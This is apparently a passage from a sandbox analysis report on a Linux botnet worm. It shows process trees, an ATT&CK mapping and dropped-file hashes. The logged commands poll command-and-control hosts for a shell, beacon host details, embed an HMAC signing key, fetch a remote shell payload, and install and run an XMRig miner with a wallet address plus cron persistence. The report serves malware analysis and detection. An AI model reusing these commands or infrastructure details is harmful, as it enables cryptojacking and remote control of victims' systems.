  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1363
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1367
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  PID:1369
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  PID:1373
- /bin/sleep
  sleep 2
  2⤵
  PID:1377
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=debian9-armhf-20260513-en-2-28'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1381
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1385
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1387
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1389
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  PID:1393
- /bin/sleep
  sleep 2
  2⤵
  PID:1395
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=debian9-armhf-20260513-en-2-28'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1399
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1403
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1406
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1409
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1413
- /bin/sleep
  sleep 2
  2⤵
  PID:1415
- /bin/sleep
  sleep 10
  2⤵
  PID:1417
- /bin/hostname
  hostname
  2⤵
  PID:1422
- /bin/uname
  uname -srm
  2⤵
  PID:1424
- /usr/bin/curl
  curl -sk https://ghvfcd.quest:8443/beacon -X POST -H "Content-Type: application/json" -d "{\"bot_id\":\"debian9-armhf-20260513-en-2-28\",\"hostname\":\"debian9-armhf-20260513-en-2\",\"os\":\"Linux 4.9.0-13-armmp-lpae armv7l\",\"version\":\"5.0\"}" --connect-timeout 15
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1425
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=debian9-armhf-20260513-en-2-28'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1435
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1436
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1441
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1443
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  PID:1447
- /bin/sleep
  sleep 2
  2⤵
  PID:1449

/usr/bin/nohup
nohup sh /tmp/.ms.sh
1⤵
PID:907

/usr/bin/nohup
nohup sh /tmp/.ms.sh
1⤵
PID:913

/usr/local/sbin/sh
sh /tmp/.ms.sh
1⤵
PID:907

/usr/local/bin/sh
sh /tmp/.ms.sh
1⤵
PID:907

/usr/sbin/sh
sh /tmp/.ms.sh
1⤵
PID:907

/usr/bin/sh
sh /tmp/.ms.sh
1⤵
PID:907

/sbin/sh
sh /tmp/.ms.sh
1⤵
PID:907

/bin/sh
sh /tmp/.ms.sh
1⤵
- Writes file to tmp directory
PID:907
- /bin/cat
  cat /var/tmp/.w
  2⤵
  PID:915
- /bin/uname
  uname -m
  2⤵
  PID:918
- /usr/bin/curl
  curl -fsSL https://api.github.com/repos/MoneroOcean/xmrig/releases/latest
  2⤵
  - Checks CPU configuration
  PID:922
- /bin/grep
  grep browser_download_url
  2⤵
  PID:923
- /bin/grep
  grep -E "lin64-compat|lin64\\.tar\\.gz"
  2⤵
  PID:924
- /usr/bin/head
  head -1
  2⤵
  PID:926
- /usr/bin/cut
  cut -d "\"" -f 4
  2⤵
  PID:928
- /usr/bin/wget
  wget -q -O /tmp/xmrig.tar.gz https://github.com/MoneroOcean/xmrig/releases/download/v6.26.0-mo3/xmrig-v6.26.0-mo3-lin64-compat.tar.gz "--timeout=60"
  2⤵
  - Writes file to tmp directory
  PID:938
- /bin/tar
  tar xzf /tmp/xmrig.tar.gz -C /tmp/
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:958
- - /usr/local/sbin/gzip
    gzip -d
    3⤵
    PID:964
- - /usr/local/bin/gzip
    gzip -d
    3⤵
    PID:964
- - /usr/sbin/gzip
    gzip -d
    3⤵
    PID:964
- - /usr/bin/gzip
    gzip -d
    3⤵
    PID:964
- - /sbin/gzip
    gzip -d
    3⤵
    PID:964
- - /bin/gzip
    gzip -d
    3⤵
    PID:964
- /bin/rm
  rm -rf "/tmp/xmrig-*" /tmp/xmrig.tar.gz
  2⤵
  PID:978
- /bin/chmod
  chmod +x /tmp/xmrig
  2⤵
  - File and Directory Permissions Modification
  PID:980
- /usr/bin/nproc
  nproc
  2⤵
  PID:984
- /bin/grep
  grep MemTotal /proc/meminfo
  2⤵
  PID:989
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  - Reads runtime system information
  PID:990
- /usr/bin/wget
  wget -q --no-check-certificate -O- "--post-data={\"bot_id\":\"debian9-armhf-20260513-en-2-28\",\"output\":\"MINING_STARTED:debian9-armhf-20260513-en-2-28\"}" "--header=Content-Type: application/json" https://ghvfcd.quest:8443/result "--timeout=10"
  2⤵
  PID:993
- /usr/bin/nohup
  nohup /tmp/xmrig -o gulf.moneroocean.stream:20004 --tls -u 859cnHBWbZg2xsF5GzpmAKd6wrjV3SFMSWZyavxkzncwikwpjnyVziBSw5kuq2BLFnXvU4ksDSEJrb2xSLTenCvqKyC6yph -p debian9-armhf-20260513-en-2-28 --keepalive "--donate-level=0" "--cpu-max-threads-hint=1" --background -o gulf.moneroocean.stream:10004 -u 859cnHBWbZg2xsF5GzpmAKd6wrjV3SFMSWZyavxkzncwikwpjnyVziBSw5kuq2BLFnXvU4ksDSEJrb2xSLTenCvqKyC6yph -p debian9-armhf-20260513-en-2-28 --keepalive "--donate-level=0"
  2⤵
  - Executes dropped EXE
  PID:992
- /tmp/xmrig
  /tmp/xmrig -o gulf.moneroocean.stream:20004 --tls -u 859cnHBWbZg2xsF5GzpmAKd6wrjV3SFMSWZyavxkzncwikwpjnyVziBSw5kuq2BLFnXvU4ksDSEJrb2xSLTenCvqKyC6yph -p debian9-armhf-20260513-en-2-28 --keepalive "--donate-level=0" "--cpu-max-threads-hint=1" --background -o gulf.moneroocean.stream:10004 -u 859cnHBWbZg2xsF5GzpmAKd6wrjV3SFMSWZyavxkzncwikwpjnyVziBSw5kuq2BLFnXvU4ksDSEJrb2xSLTenCvqKyC6yph -p debian9-armhf-20260513-en-2-28 --keepalive "--donate-level=0"
  2⤵
  PID:992
- /bin/sh
  /bin/sh /tmp/xmrig -o gulf.moneroocean.stream:20004 --tls -u 859cnHBWbZg2xsF5GzpmAKd6wrjV3SFMSWZyavxkzncwikwpjnyVziBSw5kuq2BLFnXvU4ksDSEJrb2xSLTenCvqKyC6yph -p debian9-armhf-20260513-en-2-28 --keepalive "--donate-level=0" "--cpu-max-threads-hint=1" --background -o gulf.moneroocean.stream:10004 -u 859cnHBWbZg2xsF5GzpmAKd6wrjV3SFMSWZyavxkzncwikwpjnyVziBSw5kuq2BLFnXvU4ksDSEJrb2xSLTenCvqKyC6yph -p debian9-armhf-20260513-en-2-28 --keepalive "--donate-level=0"
  2⤵
  - Writes file to tmp directory
  PID:992
- /usr/bin/wget
  wget -q --no-check-certificate -O- "--post-data={\"bot_id\":\"debian9-armhf-20260513-en-2-28\",\"output\":\"MINING_STARTED:debian9-armhf-20260513-en-2-28:gulf.moneroocean.stream:20004\"}" "--header=Content-Type: application/json" https://ghvfcd.quest:8443/result "--timeout=10"
  2⤵
  PID:1000

/usr/local/sbin/sh
sh /tmp/.ms.sh
1⤵
PID:913

/usr/local/bin/sh
sh /tmp/.ms.sh
1⤵
PID:913

/usr/sbin/sh
sh /tmp/.ms.sh
1⤵
PID:913

/usr/bin/sh
sh /tmp/.ms.sh
1⤵
PID:913

/sbin/sh
sh /tmp/.ms.sh
1⤵
PID:913

/bin/sh
sh /tmp/.ms.sh
1⤵
- Writes file to tmp directory
PID:913
- /bin/cat
  cat /var/tmp/.w
  2⤵
  PID:916
- /bin/uname
  uname -m
  2⤵
  PID:920
- /usr/bin/curl
  curl -fsSL https://api.github.com/repos/MoneroOcean/xmrig/releases/latest
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:927
- /bin/grep
  grep browser_download_url
  2⤵
  PID:929
- /bin/grep
  grep -E "lin64-compat|lin64\\.tar\\.gz"
  2⤵
  PID:930
- /usr/bin/head
  head -1
  2⤵
  PID:931
- /usr/bin/cut
  cut -d "\"" -f 4
  2⤵
  PID:932
- /usr/bin/wget
  wget -q -O /tmp/xmrig.tar.gz https://github.com/MoneroOcean/xmrig/releases/download/v6.26.0-mo3/xmrig-v6.26.0-mo3-lin64-compat.tar.gz "--timeout=60"
  2⤵
  - Writes file to tmp directory
  PID:937
- /bin/tar
  tar xzf /tmp/xmrig.tar.gz -C /tmp/
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:961
- - /usr/local/sbin/gzip
    gzip -d
    3⤵
    PID:962
- - /usr/local/bin/gzip
    gzip -d
    3⤵
    PID:962
- - /usr/sbin/gzip
    gzip -d
    3⤵
    PID:962
- - /usr/bin/gzip
    gzip -d
    3⤵
    PID:962
- - /sbin/gzip
    gzip -d
    3⤵
    PID:962
- - /bin/gzip
    gzip -d
    3⤵
    PID:962
- /bin/rm
  rm -rf "/tmp/xmrig-*" /tmp/xmrig.tar.gz
  2⤵
  PID:977
- /bin/chmod
  chmod +x /tmp/xmrig
  2⤵
  - File and Directory Permissions Modification
  PID:979
- /usr/bin/nproc
  nproc
  2⤵
  PID:983
- /bin/grep
  grep MemTotal /proc/meminfo
  2⤵
  - Reads runtime system information
  PID:987
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:988
- /usr/bin/wget
  wget -q --no-check-certificate -O- "--post-data={\"bot_id\":\"debian9-armhf-20260513-en-2-28\",\"output\":\"MINING_STARTED:debian9-armhf-20260513-en-2-28\"}" "--header=Content-Type: application/json" https://ghvfcd.quest:8443/result "--timeout=10"
  2⤵
  PID:994
- /usr/bin/nohup
  nohup /tmp/xmrig -o gulf.moneroocean.stream:20004 --tls -u 859cnHBWbZg2xsF5GzpmAKd6wrjV3SFMSWZyavxkzncwikwpjnyVziBSw5kuq2BLFnXvU4ksDSEJrb2xSLTenCvqKyC6yph -p debian9-armhf-20260513-en-2-28 --keepalive "--donate-level=0" "--cpu-max-threads-hint=1" --background -o gulf.moneroocean.stream:10004 -u 859cnHBWbZg2xsF5GzpmAKd6wrjV3SFMSWZyavxkzncwikwpjnyVziBSw5kuq2BLFnXvU4ksDSEJrb2xSLTenCvqKyC6yph -p debian9-armhf-20260513-en-2-28 --keepalive "--donate-level=0"
  2⤵
  - Executes dropped EXE
  PID:991
- /tmp/xmrig
  /tmp/xmrig -o gulf.moneroocean.stream:20004 --tls -u 859cnHBWbZg2xsF5GzpmAKd6wrjV3SFMSWZyavxkzncwikwpjnyVziBSw5kuq2BLFnXvU4ksDSEJrb2xSLTenCvqKyC6yph -p debian9-armhf-20260513-en-2-28 --keepalive "--donate-level=0" "--cpu-max-threads-hint=1" --background -o gulf.moneroocean.stream:10004 -u 859cnHBWbZg2xsF5GzpmAKd6wrjV3SFMSWZyavxkzncwikwpjnyVziBSw5kuq2BLFnXvU4ksDSEJrb2xSLTenCvqKyC6yph -p debian9-armhf-20260513-en-2-28 --keepalive "--donate-level=0"
  2⤵
  PID:991
- /bin/sh
  /bin/sh /tmp/xmrig -o gulf.moneroocean.stream:20004 --tls -u 859cnHBWbZg2xsF5GzpmAKd6wrjV3SFMSWZyavxkzncwikwpjnyVziBSw5kuq2BLFnXvU4ksDSEJrb2xSLTenCvqKyC6yph -p debian9-armhf-20260513-en-2-28 --keepalive "--donate-level=0" "--cpu-max-threads-hint=1" --background -o gulf.moneroocean.stream:10004 -u 859cnHBWbZg2xsF5GzpmAKd6wrjV3SFMSWZyavxkzncwikwpjnyVziBSw5kuq2BLFnXvU4ksDSEJrb2xSLTenCvqKyC6yph -p debian9-armhf-20260513-en-2-28 --keepalive "--donate-level=0"
  2⤵
  - Writes file to tmp directory
  PID:991
- /usr/bin/wget
  wget -q --no-check-certificate -O- "--post-data={\"bot_id\":\"debian9-armhf-20260513-en-2-28\",\"output\":\"MINING_STARTED:debian9-armhf-20260513-en-2-28:gulf.moneroocean.stream:20004\"}" "--header=Content-Type: application/json" https://ghvfcd.quest:8443/result "--timeout=10"
  2⤵
  PID:1002

/usr/bin/nohup
nohup sh /tmp/.ms.sh
1⤵
PID:945

/usr/local/sbin/sh
sh /tmp/.ms.sh
1⤵
PID:945

/usr/local/bin/sh
sh /tmp/.ms.sh
1⤵
PID:945

/usr/sbin/sh
sh /tmp/.ms.sh
1⤵
PID:945

/usr/bin/sh
sh /tmp/.ms.sh
1⤵
PID:945

/sbin/sh
sh /tmp/.ms.sh
1⤵
PID:945

/bin/sh
sh /tmp/.ms.sh
1⤵
- Writes file to tmp directory
PID:945
- /bin/cat
  cat /var/tmp/.w
  2⤵
  PID:946
- /bin/uname
  uname -m
  2⤵
  PID:948
- /usr/bin/curl
  curl -fsSL https://api.github.com/repos/MoneroOcean/xmrig/releases/latest
  2⤵
  - Checks CPU configuration
  PID:950
- /bin/grep
  grep -E "lin64-compat|lin64\\.tar\\.gz"
  2⤵
  PID:953
- /bin/grep
  grep browser_download_url
  2⤵
  PID:952
- /usr/bin/cut
  cut -d "\"" -f 4
  2⤵
  PID:955
- /usr/bin/head
  head -1
  2⤵
  PID:954
- /usr/bin/wget
  wget -q -O /tmp/xmrig.tar.gz https://github.com/MoneroOcean/xmrig/releases/download/v6.26.0-mo3/xmrig-v6.26.0-mo3-lin64-compat.tar.gz "--timeout=60"
  2⤵
  - Writes file to tmp directory
  PID:976
- /bin/chmod
  chmod +x /tmp/xmrig
  2⤵
  - File and Directory Permissions Modification
  PID:1005
- /usr/bin/nproc
  nproc
  2⤵
  PID:1007
- /bin/grep
  grep MemTotal /proc/meminfo
  2⤵
  - Reads runtime system information
  PID:1010
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1011
- /usr/bin/wget
  wget -q --no-check-certificate -O- "--post-data={\"bot_id\":\"debian9-armhf-20260513-en-2-28\",\"output\":\"MINING_STARTED:debian9-armhf-20260513-en-2-28\"}" "--header=Content-Type: application/json" https://ghvfcd.quest:8443/result "--timeout=10"
  2⤵
  PID:1013
- /usr/bin/nohup
  nohup /tmp/xmrig -o gulf.moneroocean.stream:20004 --tls -u 859cnHBWbZg2xsF5GzpmAKd6wrjV3SFMSWZyavxkzncwikwpjnyVziBSw5kuq2BLFnXvU4ksDSEJrb2xSLTenCvqKyC6yph -p debian9-armhf-20260513-en-2-28 --keepalive "--donate-level=0" "--cpu-max-threads-hint=1" --background -o gulf.moneroocean.stream:10004 -u 859cnHBWbZg2xsF5GzpmAKd6wrjV3SFMSWZyavxkzncwikwpjnyVziBSw5kuq2BLFnXvU4ksDSEJrb2xSLTenCvqKyC6yph -p debian9-armhf-20260513-en-2-28 --keepalive "--donate-level=0"
  2⤵
  - Executes dropped EXE
  PID:1012
- /tmp/xmrig
  /tmp/xmrig -o gulf.moneroocean.stream:20004 --tls -u 859cnHBWbZg2xsF5GzpmAKd6wrjV3SFMSWZyavxkzncwikwpjnyVziBSw5kuq2BLFnXvU4ksDSEJrb2xSLTenCvqKyC6yph -p debian9-armhf-20260513-en-2-28 --keepalive "--donate-level=0" "--cpu-max-threads-hint=1" --background -o gulf.moneroocean.stream:10004 -u 859cnHBWbZg2xsF5GzpmAKd6wrjV3SFMSWZyavxkzncwikwpjnyVziBSw5kuq2BLFnXvU4ksDSEJrb2xSLTenCvqKyC6yph -p debian9-armhf-20260513-en-2-28 --keepalive "--donate-level=0"
  2⤵
  PID:1012
- /bin/sh
  /bin/sh /tmp/xmrig -o gulf.moneroocean.stream:20004 --tls -u 859cnHBWbZg2xsF5GzpmAKd6wrjV3SFMSWZyavxkzncwikwpjnyVziBSw5kuq2BLFnXvU4ksDSEJrb2xSLTenCvqKyC6yph -p debian9-armhf-20260513-en-2-28 --keepalive "--donate-level=0" "--cpu-max-threads-hint=1" --background -o gulf.moneroocean.stream:10004 -u 859cnHBWbZg2xsF5GzpmAKd6wrjV3SFMSWZyavxkzncwikwpjnyVziBSw5kuq2BLFnXvU4ksDSEJrb2xSLTenCvqKyC6yph -p debian9-armhf-20260513-en-2-28 --keepalive "--donate-level=0"
  2⤵
  - Writes file to tmp directory
  PID:1012
- /usr/bin/wget
  wget -q --no-check-certificate -O- "--post-data={\"bot_id\":\"debian9-armhf-20260513-en-2-28\",\"output\":\"MINING_STARTED:debian9-armhf-20260513-en-2-28:gulf.moneroocean.stream:20004\"}" "--header=Content-Type: application/json" https://ghvfcd.quest:8443/result "--timeout=10"
  2⤵
  PID:1018

/usr/bin/nohup
nohup sh /tmp/.ps.sh
1⤵
PID:960

/usr/local/sbin/sh
sh /tmp/.ps.sh
1⤵
PID:960

/usr/local/bin/sh
sh /tmp/.ps.sh
1⤵
PID:960

/usr/sbin/sh
sh /tmp/.ps.sh
1⤵
PID:960

/usr/bin/sh
sh /tmp/.ps.sh
1⤵
PID:960

/sbin/sh
sh /tmp/.ps.sh
1⤵
PID:960

/bin/sh
sh /tmp/.ps.sh
1⤵
PID:960
- /sbin/ip
  ip route get 1
  2⤵
  - System Network Configuration Discovery
  PID:965
- /usr/bin/awk
  awk "{print \$7; exit}"
  2⤵
  PID:966
- /usr/bin/awk
  awk -F. "{print \$1\".\"\$2\".\"\$3}"
  2⤵
  PID:969
- /usr/bin/wget
  wget -q -O /tmp/.w.prop http://146.103.42.69:8080/sh_payload
  2⤵
  - Writes file to tmp directory
  PID:970

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

worm

Path /etc/cron.d/worm
Size 54B
SHA256 865c077b09125408fd4e1a2ff68a65c72198efd8c84b5f443b6862b6f1083a7c
MD5 151f8e91450ef1de6def5706967e7a63
SHA1 8c90d733d0e95b65211df942882528e455576e2f
SHA512 737eb5fb4e7a049bbb78f6f844f0ed1fcd68011c4aa81881465e9b13ae325de6435b988f37d763a12749fd4235c58140de9cb2f795e5221cc9d27fa3a07bfca7
TLSH
T14B90027361110D4534C49875A1280459448747110454746380CDA4F1CA1D3176132620
MD5 SHA1 SHA512 TLSH

Submit Download

worm

Path /etc/cron.d/worm
Size 104B
SHA256 a3d7e235fa9b7d329c9b6b59f43a71b8cf4c555daaa55ab566bede7144a39ccb
MD5 74758c17ed79c5ad2555853d4b4095f7
SHA1 6e685efd27e60c7dbfba3b2686be32c150916270
SHA512 f071b0dfade50cf66ba62568debf0c4ea6f38fb48f16114e05898dbed395b8f1461d61ee0ba65ec273ccd71585888016c178e012e8d94f7f05be0b5baed1628b
TLSH
T13DB0027371150D4534C4DD75E169145D4487471144547463C5CDD4F2CB1E7177136720
MD5 SHA1 SHA512 TLSH

Submit Download

.w.sh

Path /tmp/.w.sh
Size 7KB
SHA256 aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554
MD5 78f6b0dc465da55b2c77603389b9f659
SHA1 a107f6acfde731345af1b78bea41743d5cb54a41
SHA512 b7dbe757a1f96214a1d1054f2cf5345bf141d19cd38f1fae0c033eae5e7942f9847952cae201315e9de0a35e4bea3d4070bd096fe9b6b16b938b950c0691dfb8
SSDEEP 96:N5u2qPYkOIZWhjyW2O3GsNieiMuxvn7nQSYJuHresS/KHSlNE4d6tRaSwrpS:WVPYkOIYhjyVO3UeikL7MUrA
TLSH
T153E134F2F930EC607A8D807CB56DA5916D872A3F05183C24709FB4386FAC269B179B74
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

root

Path /var/spool/cron/crontabs/root
Size 49B
SHA256 d401da8d79c507d2b136ba0dfe068fde0e65b955d2267b9e5e6dd837e2b0bf7d
MD5 1369760cdb90172c88f6b73f563bb6df
SHA1 64ea5ddb06e5a6234830c66c51b4e1b9d5c1c26d
SHA512 369fe2ea1958eca6ffe20ea380a59c7565dc43ce43c75df3e882d5367e415e468fce5c54b74658121d2ed4d2285e71909074fa42de0cc21c28519d212e997dec
MD5 SHA1 SHA512

Submit Download

root

Path /var/spool/cron/crontabs/root
Size 94B
SHA256 699aeefca9a3995d1c2831843dc2e6295c552fab887b6cbf60627ee0e3f0156e
MD5 f34b23bf84fb7504a9214bb57829cb35
SHA1 610a3daf1557ba44006dc3218232120bfac5793b
SHA512 ba297466e5a43ff104fc6ca23dd32425ade598bcbce41ecc52131d29ddae12ec6ddfa5cd29fd6baa7e41d1c3e87a93e45af8cf3bdb4d1a65fa7edd4f492b62b4
TLSH
T13AB00273F1150C84344C09756179241D0487471144547063C5CD54F1CB1E7177135720
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.e9PObV

Path /var/spool/cron/crontabs/tmp.e9PObV
Size 271B
SHA256 e4cdcb8669fb0cb309b93d12d26c5c4d9832b80f6bedd2eaaf88b0fa8e602d76
MD5 f66d87b103024f7d4174d22f38e64df4
SHA1 f5b2a43931ca7912972a01fbee7cb3b3d444dc07
SHA512 15e42f966bcf6fc11ccb78ca43a131aea2b36701efa142f35f87a22c17aa25b5b33182f33589f90470677d6639d3eb9323c107d56108032672a63cd744ab55ca
TLSH
T1D7D02B3FBB101C343D840664723E151D4CC28629405CBD63D0CD30B4871A35B7771E31
MD5 SHA1 SHA512 TLSH

Submit Download

.w.test

Path /var/tmp/.w.test
Size 5B
SHA256 f2ca1bb6c7e907d06dafe4687e579fce76b37e4e93b7605022da52e6ccc26fd2
MD5 d8e8fca2dc0f896fd7cb4cb0031ba249
SHA1 4e1243bd22c66e76c2ba9eddc1f91394e57f9f83
SHA512 0e3e75234abc68f4378a86b3f4b32a198ba301845b0cd6e50106e874345700cc6663a86c1ea125dc5e92be17c98f9a0f85ca9d5f595db2012f7cc3571945c123
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads